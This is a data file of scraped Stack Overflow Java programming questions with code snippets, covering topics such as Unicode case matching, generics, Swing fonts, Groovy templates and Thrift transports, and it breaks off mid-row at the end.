+Java,I want to match the lower case of `` I '' of English ( i ) to lower case of `` İ '' of Turkish ( i ) . They are the same glyph but they do n't match . When I do System.out.println ( `` İ '' .toLowerCase ( ) ) ; the character i and a dot is printed ( this site does not display it properly ) Is there a way to match those ? ( Preferably without hard-coding it ) I want to make the program match the same glyphs irrelevant of the language and the utf code . Is this possible ? I 've tested normalization with no success . The result is not properly shown in the site but the first line ( iTurkish ) still has the ̇ near lowercase i.Purpose and ProblemThis will be a multi lingual dictionary . I want the program to be able to recognize that `` İFEL '' starts with `` if '' . To make sure they are not case sensitive I first convert both text to lower case . İFEL becomes i ( dot ) fel and `` if '' is not recognized as a part of it,"public static void main ( String ... a ) { String iTurkish = `` \u0130 '' ; // '' İ '' ; String iEnglish = `` I '' ; prin ( iTurkish ) ; prin ( iEnglish ) ; } private static void prin ( String s ) { System.out.print ( s ) ; System.out.print ( `` - Normalized : `` + Normalizer.normalize ( s , Normalizer.Form.NFD ) ) ; System.out.print ( `` - lower case : `` + s.toLowerCase ( ) ) ; System.out.print ( `` - Lower case Normalized : `` + Normalizer.normalize ( s.toLowerCase ( ) , Normalizer.Form.NFD ) ) ; System.out.println ( ) ; }",How do I match `` i '' with Turkish i in java ? +Java,"In a project I am working at , I have found a class which wraps all methods of its super-class in some elaborate exception handling . It looks similar to that : I immediately though `` Wow , how could would it be to have one generic wrapper and just call it in every of these methods . The class would be like 10x shorter ! `` .So I got to work.This is where I got stuck : In conclusion , this approach works for methods that throws only one type of checked exception . When method throws multiple checked exceptions , Java assumes that the exception type is Exception.I tried to add more generic parameters to ThrowingMethod and wrapMethod but it does n't change anything.How can I get a functional interface to work with multiple generic exceptions ?","public void method1 ( ) throws ExceptionA { String exceptionString = `` '' ; try { super.method1 ( ) ; } catch ( ExceptionA e ) { exceptionString = // < convert the exception to string in an elaborate way > throw e ; } finally { // < an elaborate logger call which uses value of exceptionString > } } public void method2 ( ) throws ExceptionB , ExceptionC { String exceptionString = `` '' ; try { super.method2 ( ) ; } catch ( ExceptionB | ExceptionC e ) { exceptionString = // < convert the exception to string in elaborate way > throw e ; } finally { // < an elaborate logger call which uses value of exceptionString > } } // ... < a bunch of other methods like this > private interface ThrowingMethod < E extends Exception > { void run ( ) throws E ; } public < E extends Exception > void wrapMethod ( ThrowingMethod < E > method ) throws E { String exceptionString = `` '' ; try { method.run ( ) ; } catch ( Exception e ) { exceptionString = // < convert the exception to string in an elaborate way > throw e ; } finally { // < an elaborate logger call which uses value of exceptionString > } } public void method1 ( ) throws ExceptionA { wrapMethod ( super : :method1 ) ; // works } public void method2 ( ) throws ExceptionB , ExceptionC { wrapMethod ( super : :method2 ) ; // Error in Eclipse : `` Unhandled exception type Exception '' } // ... < a bunch of other methods like this >",Java 8 - throw multiple generic checked exceptions in lambda +Java,Getting an error with Maven and Java 8 ( jdk1.8.0_45 ) . This issue does not occur with Java 7.MCVECreate a sample maven project . For example : Create the following content in the generated App.java fileCompile the maven project : OutputGet the following error : Tried it with both Maven 3.0.4 and 3.3.3.This issue does not exist if I directly compile against App.java using Javac command .,"mvn archetype : create -DgroupId=testinovke -DartifactId=testinvoke package testinovke ; import java.lang.invoke.MethodHandle ; import java.lang.invoke.MethodHandles ; import java.lang.invoke.MethodType ; public class App { public static MethodHandles.Lookup lookup ; public static class Check { public void primitive ( final int i ) { } public void wrapper ( final Integer i ) { } } public static void main ( String [ ] args ) throws Throwable { Check check = new Check ( ) ; MethodType type = MethodType.methodType ( void.class , int.class ) ; MethodHandle mh = lookup.findVirtual ( Check.class , `` primitive '' , type ) ; mh.invoke ( ) ; } } mvn clean compile testinvoke/src/main/java/testinovke/App.java : [ 25,18 ] method invoked with incorrect number of arguments ; expected 0 , found 1",Maven error with Java 8 +Java,"For swing applications , default font settings for components are in current theme and can be retrieved using UIManager : This can be adjusted in JAVA_HOME/lib/swing.properties for range of applications with for example : or set at command line with : Or the application itself remembers it 's look and feel and has this value stored somewhere in configuration ( file ) . It works , because application can set look and feel for itself , e.g . : This all looks nice , but applications need often smaller fonts ( e.g . unimportant status bar message for Label ) or larger fonts ( Label with some heading ) . Is there any recommended way for this ? As a user of high density monitor I had to discard lot of java applications , that use code like this - source code copied from squirrel sql : This example code makes status bar completely unreadable , but most components are adjusted to new , bigger font.For creating my own application , I might use some ratio ( e.g . 50 % to 150 % of theme font ) , but hardcoding 0.50 - 1.50 range looks as a bad coding habbit as well . And it does n't fix problem with applications that I do n't have source code for . This belongs to the theme / L & F ( Look & Feel , Look and Feel ) . Example : It 's worth asking before I try some ugly hacks like custom components replacing swing default ones , or Graphics2D.setFont adjustments , or any other scary stuff . : - ) Edit : the only thing that exists , is size variant , which is supported only by Nimbus theme . Allowed values are `` mini '' , `` small '' , `` regular '' , `` large '' . Example : However , looking into source code for Nimbus theme , it 's not possible to simply adjust these values ( e.g . scale to 150 % for `` large '' ) , it 's actually hard-coded ! This value can be edited only by very advanced user ( for example edit constant pool in JAVA_HOME/lib/rt.jar with program called `` rej '' ) - i tried it , and it works , BUT it does n't work always , because they actually hard-coded ( ! ! ) the constants at several places ( is this really best quality - standard library ? ) , for example : Bottom line : no , Java look and feel does n't support that for now . I suggest using ratios , e.g . 0.7 - 1.3 of default font size .","public class JavaTesting { public static void main ( String [ ] args ) { System.out.println ( UIManager.get ( `` Label.font '' ) ) ; } } swing.defaultlaf=javax.swing.plaf.nimbus.NimbusLookAndFeel java -Dswing.defaultlaf=javax.swing.plaf.nimbus.NimbusLookAndFeel MyApp UIManager.setLookAndFeel ( `` javax.swing.plaf.nimbus.NimbusLookAndFeel '' ) ; Font tmp = ( Font ) UIManager.get ( `` Label.font '' ) ; if ( tmp ! = null ) { Font font = tmp.deriveFont ( 10.0f ) ; _statusBarFontInfo = new FontInfo ( font ) ; } FontUIResource Label_font_resource = ( FontUIResource ) javax.swing.UIManager.get ( `` Label.font '' ) ; Font Label_font = Label_font_resource ; Font Label_font_bigger = Label_font.deriveFont ( Label_font.getSize2D ( ) * 1.5f ) ; JComponent mini = new JButton ( `` mini '' ) ; mini.putClientProperty ( `` JComponent.sizeVariant '' , `` mini '' ) ; package javax.swing.plaf.nimbus ; public final class NimbusStyle extends SynthStyle { public static final String LARGE_KEY = `` large '' ; public static final String SMALL_KEY = `` small '' ; public static final String MINI_KEY = `` mini '' ; public static final double LARGE_SCALE = 1.15D ; public static final double SMALL_SCALE = 0.857D ; public static final double MINI_SCALE = 0.714D ; if ( `` large '' .equals ( str ) ) { this.scrollBarWidth = ( int ) ( this.scrollBarWidth * 1.15D ) ; this.incrGap = ( int ) ( this.incrGap * 1.15D ) ; this.decrGap = ( int ) ( this.decrGap * 1.15D ) ; } JLabel smallLabel = new JLabel ( `` some text '' ) ; smallLabel.setFont ( smallLabel.getFont ( ) .deriveFont ( 0.8f * smallLabel.getFont ( ) .getSize2D ( ) ) ) ;",java swing minimal ( or range for ) font size for other application +Java,"I have following code in my application : This is of course hazardous on multiple levels , probably the worst being that if I rename the attribute `` myPropertyName '' on `` MyObject '' , the code will break.That said , what is the simplest way I could reference the name of the property without explicitly typing it out ( as this would enable me to get compiler warning ) ? I 'm looking something like : Or is this even possible with Java ?",for ( PropertyDescriptor property : myObjectProperties ) { if ( property.getName ( ) .equals ( `` myPropertyName '' ) ) { // logic goes here } } for ( PropertyDescriptor property : myObjectProperties ) { if ( property.getName ( ) .equals ( MyObject.myPropertyName.getPropertyName ( ) ) ) { // logic goes here } },How to avoid magic strings in Java reflection +Java,"I would like to understand a strange behavior I faced dealing with anonymous classes.I have a class that calls a protected method inside its constructor ( I know , poor design but that 's another story ... ) then I have another class that extends A and overrides init ( ) .If I codeI getand that 's expected because the constructor of the super class is invoked before the B ctor and then value is still.But when using an anonymous class like thisI would expect to get value=0 because this should be more or less equal to class B : the compiler automatically creates a new class C $ 1 that extends A and creates instance variables to store local variables referenced in the methods of the anonymous class , simulating a closure etc ... But when you run this , I gotInitially I was thinking that this was due to the fact that I was using java 8 , and maybe , when introducing lamdbas , they changed the way anonymous classes are implemented under the hood ( you no longer need for final ) , but I tried with java 7 also and got the same result ... Actually , looking at the byte code with javap , I can see that B is while for C $ 1 : Could someone tell me why this difference ? Is there a way to replicate the behavior of the anonymous class using `` normal '' classes ? EDIT : to clarify the question : why does the initialization of the anonymous classes break the rules for initializing of any other class ( where super constructor is invoked before setting any other variable ) ? Or , is there a way to set instance variable in B class before inovking super constructor ?",public class A { public A ( ) { init ( ) ; } protected void init ( ) { } } public class B extends A { int value ; public B ( int i ) { value = i ; } protected void init ( ) { System.out.println ( `` value= '' +value ) ; } } B b = new B ( 10 ) ; > value=0 class C { public static void main ( String [ ] args ) { final int avalue = Integer.parsetInt ( args [ 0 ] ) ; A a = new A ( ) { void init ( ) { System.out.println ( `` value= '' +avalue ) ; } } } } > java -cp . C 42 > value=42 > javap -c BCompiled from `` B.java '' public class B extends A { int value ; public B ( int ) ; Code : 0 : aload_0 1 : invokespecial # 1 // Method A . `` < init > '' : ( ) V 4 : aload_0 5 : iload_1 6 : putfield # 2 // Field value : I 9 : return ... > javap -c C\ $ 1Compiled from `` C.java '' final class C $ 1 extends A { final int val $ v ; C $ 1 ( int ) ; Code : 0 : aload_0 1 : iload_1 2 : putfield # 1 // Field val $ v : I 5 : aload_0 6 : invokespecial # 2 // Method A . `` < init > '' : ( ) V 9 : return ... .,Java : initialization and costructor of anonymous classes +Java,"My directory structure looks like this.PackagesUnit3/com/myname/start/PackagesTest.java ( this class contains my main and the import statement `` import com.systems.mui . * ; ) PackagesUnit3/com/systems/mui/Test.java ( this class contains the package statement `` package com.systems.mui ; '' ) With PackageUnit3 as my base directory I can compile both classes successfully with the statementHowever I can not run the code with the commandThe complier successfully generated .class files for each of the java classes and placed them in the same location as the source files.According to Horstmann , `` Core Java '' 9th ed . p. 186 , my `` java '' command syntax ought to work.I should not have to specify the current directory ( `` . `` ) because I am not using the classpath ( -cp ) option.One note : I used the `` SUBST R : `` command to establish the PackagesUnit3 directory as the base directory . My actual command line looks like R : > Any suggestions ? ?",`` javac com/myname/start/PackagesTest.java '' `` java com.myname.start.PackagesTest '' Error : `` Exception in thread `` main '' java.lang.NoClassDefFoundError : com/myname/start/PackagesTest ( wrong name : PackagesTest ) '',JVM Ca n't Find My Class : java.lang.NoClassDefFoundError +Java,"I am aware that by default Java does not have the so-called eval ( what I pronounce as `` evil '' ) method . This sounds like a bad thing—knowing you do not have something which so many others do . But even worse seems being notified that you ca n't have it . My question is : What is solid reasoning behind it ? I mean , Google'ing this just returns a massive amount of old data and bogus reasons—even if there is an answer that I 'm looking for , I ca n't filter it from people who are just throwing generic tag-words around . I 'm not interested in answers that are telling me how to get around that ; I can do that myself : Using Bean Scripting Framework ( BSF ) File sample.py ( in py folder ) contents : And Java code : Using designed bridges like JLinkThis is equivalent to : Other methodsUsing Dijkstras shunting-yard algorithm or alike and writing an expression evaluator from scratch . Using complex regex and string manipulations with delegates and HashMultimaps.Using Java Expressions LibraryUsing Java Expression LanguageUsing JRE compliant scripting language like BeanShell.Using the Java Assembler and approach below or direct bytecode manipulation like Javaassist.Using the Java Compiler API and reflections.Using Runtime.getRuntime ( ) .exec as root","def factorial ( n ) : return reduce ( lambda x , y : x * y , range ( 1 , n + 1 ) ) ScriptEngine engine = new ScriptEngineManager ( ) .getEngineByName ( `` jython '' ) ; engine.eval ( new FileReader ( `` py '' + java.io.File.separator + `` sample.py '' ) ) ; System.out.println ( engine.eval ( `` factorial ( 932 ) '' ) ) ; String expr = `` N [ Integrate [ E^ ( 2 y^5 ) / ( 2 x^3 ) , { x , 4 , 7 } , { y , 2 , 3 } ] ] '' ; System.out.println ( MM.Eval ( expr ) ) ; //Output : 1.5187560850359461*^206 + 4.2210685420287355*^190*I",Why do people say that Java ca n't have an expression evaluator ? +Java,I did fft in matlab and in java using jtransforms library but the results are slightly different.Are the results different or Matlab is just rounding the values ?,Matlab results : -0.0530528652679544-0.00775535711930750 + 0.0281791646147104i-0.0304104457750988 - 0.209776156064443i0.266945753193636 + 0.200338044445226iJtransforms results : -0.05305448436232618-0.007755593801247046 + 0.028180024600812384-0.03041137385657606 -0.209782558120048870.26695389998013486 + 0.20034415846373468,fft in matlab and java +Java,"When maven-compiler-plugin:3.8.0 : testCompile @ foo-child runs , thread dumps show errorprone is taking an extremely long time . I believe there is a bug with errorprone , but for now I 'd rather just have errorprone not run on unit tests.I have a parent pom.xml : Is there anything I can put in the foo-child pom.xml that will allow me to exclude maven-compiler-plugin:3.8.0 : testCompile @ foo-child from being run at all.I can not exclude error prone completely because other things like guava depend on it.EDIT : Seems like this user is trying to solve the same problem . Do you know how I could apply the solution given there to my case ?",< modules > < module > foo-child < /module > < /modules > < dependencyManagement > < dependency > < groupId > com.google.errorprone < /groupId > < artifactId > error_prone_annotations < /artifactId > < /dependency > // also has dependency for io.norberg auto-matter and com.google.auto.value auto-value < /dependencyManagement > < build > < plugins > < plugin > < artifactId > maven-compiler-plugin < /artifactId > // also has annotationProcessorPaths configuration for auto-matter and auto-value < /plugin > < /plugins > < /build >,How to exclude error prone from being run on unit tests ? +Java,"Is it possible to validate that the database has no rows for a specific table with a flat xml structure ? Something like : but that is n't working because , I think , it only validates if the 'TABLE ' exists..I 'm testing a delete..",< dataset > < TABLE/ > < /dataset,FlatXmlDataSet empty table ( DBUnit ) +Java,"A normal action in Groovy templates is to bind a named object into the scope of the template like this : Then , in the template I can reference and use 'someObject ' like this : Inside the template , Groovy also allows me to define a method handle as a first-class variable in the template like this : Then , I can do these without referring to the object and method name : How can I bind the method reference like this at the 'template.bind ( map ) ' stage along with auto-resolving all the parameter combinations like the '. & ' operator in the script provides ? Using a MethodClosure does not work — Here is a simple test and the error I getErrorA user suggests I just use '.call ( .. ) 'But that defeats the purpose . In that case I might as well just bind the object instead of 'testMethod ' and use it normally in Groovy template with regular method calls . So that is not the solution here . The solution will create a binding such that testMethod ( ) can be called just like this , and resolved for all overloaded methods , just like the `` mc1=testInstance. & test '' provides . The mc1 is a MethodClosure and 'mc1=testInstance. & test ' does some magic that I want to do that magic at the binding stage ! The metaclass of mc1 is a 'HandleMetaClass ' . I can also custom set the metaclass of the methodclosure from the Java side . I just want to know how to do that to get the same behaviour . The Groovy is doing that in the template ( from Java side in the template interpreter ) and so I want to do it the same , in advance.Note that normally , the streaming template creates its own delegate already . When the template code 'def mc1=testInstance. & test ; ' is interpreted , the Groovy compiler/interpreter uses that delegate when creating the MethodClosure with a HandleMetaClass , and then installs that in the existing delegate.The proper answer then does not install a replacement delegate as per @ Dany answer below , but instead works with the existing delegate and creates the correct objects to facilitate usage of mc1 without the '.call ' syntax .","map.put ( `` someObject '' , object ) template.bind ( map ) someObject.helloWorld ( ) someObject.helloWorld ( `` Hi Everyone ! `` ) someObject.helloWorld ( `` Hi '' , `` Everyone ! '' ) someObject = someObject. & helloWorld someObject ( ) someObject ( `` Hello World '' ) someObject ( `` Hello '' , `` World '' ) class TestMethodClass { public void test ( ) { System.out.println ( `` test ( ) '' ) ; } public void test ( Object arg ) { System.out.println ( `` test ( `` + arg + `` ) '' ) ; } public void test ( Object arg1 , Object arg2 ) { System.out.println ( `` test ( `` + arg1 + `` , `` + arg2 + `` ) '' ) ; } } String basic = `` < % '' + `` def mc1=testInstance. & test ; '' + `` println \ '' mc1 class $ { mc1.getClass ( ) } \ '' ; '' + `` println \ '' mc1 metaclass $ { mc1.getMetaClass ( ) } \ '' ; '' + `` println mc1.getClass ( ) ; '' + `` mc1 ( ) ; '' + `` mc1 ( 'var1 ' ) ; '' + `` mc1 ( 'var1 ' , 'var2 ' ) ; '' + `` testMethod ( ) ; '' + `` % > '' ; Map < Object , Object > bindings = new HashMap < > ( ) ; bindings.put ( `` testInstance '' , new TestMethodClass ( ) ) ; bindings.put ( `` testMethod '' , new MethodClosure ( new TestMethodClass ( ) , `` test '' ) ) ; TemplateEngine engine = new GStringTemplateEngine ( ) ; Template t = engine.createTemplate ( basic ) ; String result = t.make ( bindings ) .toString ( ) ; mc1 class class org.codehaus.groovy.runtime.MethodClosuremc1 metaclass org.codehaus.groovy.runtime.HandleMetaClass @ 6069db50 [ groovy.lang.MetaClassImpl @ 6069db50 [ class org.codehaus.groovy.runtime.MethodClosure ] ] class org.codehaus.groovy.runtime.MethodClosuretest ( ) test ( var1 ) test ( var1 , var2 ) groovy.lang.MissingMethodException : No signature of method : groovy.lang.Binding.testMethod ( ) is applicable for argument types : ( ) values : [ ] `` testMethod.call ( ) ; '' + '' testMethod.call ( 1 ) ; '' + '' testMethod.call ( 1,2 ) ; '' +",How do I bind all methods of a certain name in an Object into a template via the binding map ? +Java,"I have an interface A , for which I have to supply a few differentimplementations . However , those implementations share some helper methods , soI moved those methods to an abstract base class.My code works as expected , but I have a few questions : Should I declare the abstract Method doX ( ) in Class B ? Why ( not ) ? Should I also explicitly declare `` implements A '' on Class C and D ? Why ( not ) ?",Interface A { void doX ( ) ; } abstract Class B implements A { protected void commonY ( ) { // ... } @ Override public abstract void doX ( ) ; } Class C extends B { @ Override public void doX ( ) { // ... } } Class D extends B { @ Override public void doX ( ) { // ... } },What ( not ) to declare when implementing an interface with an abstract class ? +Java,"I am using PropertyUtils.setSimpleProperty to invoke my setter method dynamically , but for some reason I keep on getting error . Need your assistance to figure out the root cause . Here is my code : Both of these methods throw exception Caused by : java.lang.NoSuchMethodException : Property 'reportName ' has no setter method in class 'class FileDt ' at org.apache.commons.beanutils.PropertyUtilsBean.setSimpleProperty ( PropertyUtilsBean.java:2096 ) Caused by : java.lang.NoSuchMethodException : Property 'reportLocation ' has no setter method in class 'class FileDt ' at org.apache.commons.beanutils.PropertyUtilsBean.setSimpleProperty ( PropertyUtilsBean.java:2096 )","class FileDt { String reportName=null ; String reportLocation=null ; public String getReportName ( ) { return reportName ; } public void setReportName ( String reportName ) { this.reportName = reportName ; } public String getReportLocation ( ) { return reportLocation ; } public void setReportLocation ( String reportLocation ) { this.reportLocation = reportLocation ; } } class Foo { public static void main ( String ... args ) { FileDt dt = newFileDt ( ) ; // # 1 PropertyUtilsBean.setSimpleProperty ( dt , `` reportName '' , `` abc.html '' ) ; // # 2 PropertyUtilsBean.setSimpleProperty ( dt , `` reportLocation '' , `` c : // '' ) ; } }",Getting java.lang.NoSuchMethodException : Property 'xx ' has no setter method in class 'class xx ' while using PropertyUtils.setSimpleProperty function +Java,"I am working on a project in Java that requires having nested strings.For an input string that in plain text looks like this : This is `` a string '' and this is `` a \ '' nested\ '' string '' The result must be the following : Note that I want the \ '' sequences to be kept.I have the following method : and I need to create an array of strings out of the given s parameter by the given rules , without using the Java Collection Framework or its derivatives.I am unsure about how to solve this problem.Can a regex expression be made that would get this solved ? UPDATE based on questions from comments : each unescaped `` has its closing unescaped `` ( they are balanced ) each escaping character \ also must be escaped if we want to create literal representing it ( to create text representing \ we need to write it as \\ ) .",[ 0 ] This [ 1 ] is [ 2 ] `` a string '' [ 3 ] and [ 4 ] this [ 5 ] is [ 6 ] `` a \ '' nested\ '' string '' public static String [ ] splitKeepingQuotationMarks ( String s ) ;,Splitting a nested string keeping quotation marks +Java,"I 'm looking for all standard Java classes for which compareTo ( ) can return 0 while equals ( ) returns false : I know just one : new BigDecimal ( `` 1.0 '' ) is equal to new BigDecimal ( `` 1 '' ) using compareTo ( ) but not equal using equals ( ) . Are there any others ? I 'm interested in all such classes , but only from public Java API . I need it to provide thorough documentation for AssertJ 's UnevenComparableAssert interface.EDIT : Thanks to @ ErikVesteraas , I 've managed to reproduce additional example :","Comparable comparable1 = ? ? ? ; Comparable comparable2 = ? ? ? ; assert comparable1.compareTo ( comparable2 ) == 0 ; assert ! comparable1.equals ( comparable2 ) ; Calendar calendar1 = new GregorianCalendar ( 0 , 0 , 0 ) ; Calendar calendar2 = new GregorianCalendar ( 0 , 0 , 0 ) ; calendar2.setLenient ( false ) ; Comparable comparable1 = calendar1 ; Comparable comparable2 = calendar2 ; assert comparable1.compareTo ( comparable2 ) == 0 ; // compareTo compares along the timelineassert ! comparable1.equals ( comparable2 ) ; // equals compares state , leniency is different",Are there any standard Java classes with inconsistent compareTo ( ) and equals ( ) ? +Java,I am using ColdFusion 8 . I would like to catch a NoClassDefFoundError exception in ColdFusion however I ca n't ... It still fails and logs the error in the exception.log file . Here is what I tried.But this does not work . Could you please show me how to do that ? I need to catch this error at a particular place and not in the OnError function of my Application.cfc .,< cftry > < cfset myJavaObject.myMethod ( ) > < cfcatch type= '' any '' > < cfdump var= '' # cfcatch # '' > < /cfcatch > < cfcatch type= '' java.lang.Throwable '' > Horrible exception . < cfdump var= '' # cfcatch # '' > < /cfcatch > < /cftry >,ColdFusion not catching NoClassDefFoundError +Java,"In my project , I used JSON to pass readed data from database to client side.In this code I put JSONObject in to JSONArray and pass to client side.This my code for JsonProcessing.java servlet : And this is my javascript code : I do n't know why I take duplicate same result in alert ?","JSONObject obj = new JSONObject ( ) ; JSONArray objarr = new JSONArray ( ) ; //read from DBsql = `` SELECT id , name FROM test '' ; ResultSet rs = stmt.executeQuery ( sql ) ; while ( rs.next ( ) ) { // Retrieve by column name int id = rs.getInt ( `` id '' ) ; String first = rs.getString ( `` name '' ) ; obj.put ( `` name '' , first ) ; obj.put ( `` id '' , id ) ; objarr.add ( obj ) ; System.out.print ( `` \nobj : `` +obj ) ; } response.setContentType ( `` application/json '' ) ; response.setCharacterEncoding ( `` UTF-8 '' ) ; PrintWriter out = response.getWriter ( ) ; out.print ( objarr ) ; out.flush ( ) ; $ .ajax ( { url : `` /test/JsonProcessing '' , type : `` get '' , data : { id : 30 } , success : function ( info ) { //alert ( info.name ) ; console.log ( info ) ; for ( var i = 0 ; i < info.length ; i++ ) { alert ( i + `` : `` + info [ i ] .name + `` `` + info [ i ] .id ) ; } // data : return data from server } , error : function ( ) { alert ( 'Faild ' ) ; // if fails } } ) ;",JSONArray duplicate same result +Java,How could I convert a list of long to a list of integers . I wrote : I have an error : May anyone tell me how to fix this ?,longList.stream ( ) .map ( Long : :valueOf ) .collect ( Collectors.toList ( ) ) //longList is a list of long . Incompatible types . Required iterable < integer > but collect was inferred to R .,Convert a list of long to a iterable of integers using Java 8 +Java,"As per java doc , static block is executed when the class is initialized.Could anyone please tell me why static block is not executed when I run below code ?",class A { static { System.out.println ( `` Static Block '' ) ; } } public class Main { public static void example1 ( ) { Class < ? > class1 = A.class ; System.out.println ( class1 ) ; } public static void example2 ( ) { try { Class < ? > class1 = Class.forName ( `` ClassLoading_Interview_Example.ex1.A '' ) ; System.out.println ( class1 ) ; } catch ( Exception e ) { e.printStackTrace ( ) ; } } public static void main ( String [ ] args ) { example1 ( ) ; } },Why static block is not executed +Java,"I 've recently been developing a Java application and I 've been attempting to follow the GoF 's state pattern to attempt to tidy up the code . The program uses a multi-agent system 's agents to evaluate instructions on the behalf of a `` super agent '' ( example below ) .The super agent can exist in two states , and it 's getting messy having if statements everywhere checking the state and then performing state specific behavior.Here is a ( very ) simplified version of the program . The actual implementation has alot more state specific behavior.The state pattern would be perfect for encapsulating the behavior of the specific states into different classes according to the GoF pattern ( the superAgent class would be the context ) . However there are two problems , both of which ( IMO ) break encapsulation : Most state specific behavior needs to make changes to private members ( in the above example , instructionData ) of the super agent . The members contain data which probably should n't be accessible and definitely should n't be mutable to wrapping classes.The state specific behavior needs to be synchronized with behavior that is n't state specific . Without exposing the lock objects ( in the above example instructionLock ) by either making it public or using a getter the state and context are unable to share a lock . Exposing the lock violates OOP because it could potentially be used by wrapping/extending classes.Does anyone have any suggestions regarding how I could encapsulate this state specific behavior , bearing in mind the example and the two points above ?","public class superAgent { //the state of the super agent private States state ; //Contains information related to the operation of exampleClass . This should not be exposed through mutator methods . private HashMap < String , SpecificInstructionData > instructionData private LinkedBlockingQueue < ExampleInstruction > exampleQueue private final Object instructionLock = new instructionLock public enum States { STATE1 , STATE2 ; } public void setState ( state s ) { state = s } //Called by a thread that continuously takes from the queue private void runningThread ( ) { while ( isRunning ) { synchronized ( instructionLock ) { ExampleInstruction ei = exampleQueue.take ( ) ; //Add some data about the instruction into instructionData //send the instruction to an available agent } } } public void instructionResponseRecievedFromAgent ( ) { if ( state == States.STATE1 ) { doState1Behavior ( ) ; } else if ( state == States.STATE2 ) { doState2Behavior ( ) ; } } private void doState1Behavior ( ) { synchronized ( instructionLock ) { //make state specific modifications to instructionData } } private void doState2Behavior ( ) { synchronized ( instructionLock ) { //make state specific modifications to instructionData } } }",State pattern and encapsulation +Java,"I have this behavior using Java : output:001632Is java bit shift circular ? IF not , why I get 0 when b < < 30 and 16 when b < < 32 ?",int b=16 ; System.out.println ( b < < 30 ) ; System.out.println ( b < < 31 ) ; System.out.println ( b < < 32 ) ; System.out.println ( b < < 33 ) ;,Is java bit shifting circular ? +Java,"When enqueuing a background task with the App Engine Python runtime , you can specify a target for the queue which will send the task to be run on a specific service , version , or instance : Is there a way to do this in Java ? The documentation mentions the target parameter but does n't show an example of how to use it . The Queue.add method has no option for target . The TaskOptions class does n't have anything that looks like target , either.This question documents how to use the target , but the answer is to configure it in queue.xml . I 'd like to pick the target at runtime , like Python .","task = taskqueue.add ( url='/update_counter ' , target='worker ' , params= { 'amount ' : amount } )",Is there a way to set the target for a task dynamically with the App Engine Java runtime ? +Java,"In Wikipedia sample and in GoF book , usage of Visitor pattern is started by calling accept method on some acceptor . But why is it this way ? Why ca n't we start calling visit method with desired acceptor as an argument ? We can still make visitor behavior depend on 2 types -- of visitor and of acceptor ( double dispatch ) -- and we can eliminate redundant call ( as it seems to me ) .Here 's sample code to illustrate this :",public interface Visitor { void visit ( AcceptorA acceptor ) ; void visit ( AcceptorB acceptor ) ; } //// Visitor which sings// class SingingVisitor implements Visitor { public void visit ( AcceptorA acceptor ) { System.out.println ( `` sing A '' ) ; } public void visit ( AcceptorB acceptor ) { System.out.println ( `` sing B '' ) ; } } //// Visitor which talks// class TalkingVisitor implements Visitor { public void visit ( AcceptorA acceptor ) { System.out.println ( `` talk A '' ) ; } public void visit ( AcceptorB acceptor ) { System.out.println ( `` talk B '' ) ; } } //// Acceptor subclasses// class AcceptorA implements BaseAcceptor { } class AcceptorB implements BaseAcceptor { } //// Launcher class// class VisitorMain { public static void main ( String [ ] args ) { Visitor v = new TalkingVisitor ( ) ; AcceptorA a = new AcceptorA ( ) ; AcceptorB b = new AcceptorB ( ) ; v.visit ( a ) ; v.visit ( b ) ; v = new SingingVisitor ( ) ; v.visit ( a ) ; v.visit ( b ) ; } },"Why do we start Visitor by calling Acceptor.accept ( ) , and not Visitor.visit ( ) ?" +Java,"I 'm working on a web project that will ( hopefully ) be available in several languages one day ( I say `` hopefully '' because while we only have an English language site planned today , other products of my company are multilingual and I am hoping we are successful enough to need that too ) .I understand that the best practice ( I 'm using Java , Spring MVC , and Velocity here ) is to put all text that the user will see in external files , and refer to them in the UI files by name , such as : But , having never had to go through this process on a project myself before , I 'm curious what the best way to deal with this is when you have some segments of the UI that are heavy on markup , such as : One option I can think of would be to store this `` low-level '' of markup in messages.properties itself for the message - but this seems like the worst possible option . Other options that I can think of are : Store each non-markup inner fragment in messages.properties , such as acquisitionAnnounce1 , acquisitionAnnounce2 , acquisitionAnnounce3 . This seems very tedious though.Break this message into more reusable components , such as Company1.name , Company2.name , Company2.ticker , etc. , as each of these is likely reused in many other messages . This would probably account for 80 % of the words in this particular message.Are there any best practices for dealing with internationalizing text that is heavy with markup such as this ? Do you just have to bite down and bear the pain of breaking up every piece of text ? What is the best solution from any projects you 've personally dealt with ?","# in messages_en.properties : welcome.header = Welcome to AppName ! # in the markup < title > # springMessage ( `` welcome.header '' ) < /title > < p > We are excited to announce that Company1 has been acquired by < a href= '' http : //www.companydivisionx.com '' class= '' boldLink '' > Division X < /a > , a fast-growing division of < a href= '' http : //www.company2.com '' class= '' boldLink '' > Company 2 < /a > , Inc. ( Nasdaq : < a href= '' http : //finance.google.com/finance ? q=blah '' class= '' boldLink '' > BLAH < /a > ) , based in ...",Best practices in internationalizing text with lots of markup ? +Java,I am trying to wrap a Java class to be called from Python using thrift 's TFileTransport . I tried using two protocols TJSON and TBinary but I keep getting this exceptionThis is how my Python client looks : and this is my server : I have followed the example from this thread : Example on how to use TFileTransport in Thrift ( Client/Server ) and from this post : http : //theprogrammersguideto.com/thrift/blog/code/chapter-3-moving-bytes-with-transports/,"org.apache.thrift.transport.TTransportException : FileTransport error : bad event size at org.apache.thrift.transport.TFileTransport.readEvent ( TFileTransport.java:327 ) at org.apache.thrift.transport.TFileTransport.read ( TFileTransport.java:468 ) at org.apache.thrift.transport.TFileTransport.readAll ( TFileTransport.java:439 ) at org.apache.thrift.protocol.TJSONProtocol $ LookaheadReader.read ( TJSONProtocol.java:263 ) at org.apache.thrift.protocol.TJSONProtocol.readJSONSyntaxChar ( TJSONProtocol.java:320 ) at org.apache.thrift.protocol.TJSONProtocol.readJSONArrayStart ( TJSONProtocol.java:784 ) at org.apache.thrift.protocol.TJSONProtocol.readMessageBegin ( TJSONProtocol.java:795 ) at org.apache.thrift.TBaseProcessor.process ( TBaseProcessor.java:27 ) at org.apache.thrift.transport.TFileProcessor.processUntil ( TFileProcessor.java:69 ) at org.apache.thrift.transport.TFileProcessor.processChunk ( TFileProcessor.java:102 ) at org.apache.thrift.transport.TFileProcessor.processChunk ( TFileProcessor.java:111 ) at org.apache.thrift.transport.TFileProcessor.processChunk ( TFileProcessor.java:118 ) at com.netflix.suro.client.SendToPyServer.startThriftServer ( SendToPyServer.java:51 ) at com.netflix.suro.client.SendToPyServer.main ( SendToPyServer.java:67 ) def __init__ ( self ) : self.outFile=open ( `` ../../ThriftFile.in '' , '' a '' ) self.transport = TTransport.TFileObjectTransport ( self.outFile ) self.protocol = TJSONProtocol.TJSONProtocol ( self.transport ) self.client = sendPyInterface.Client ( 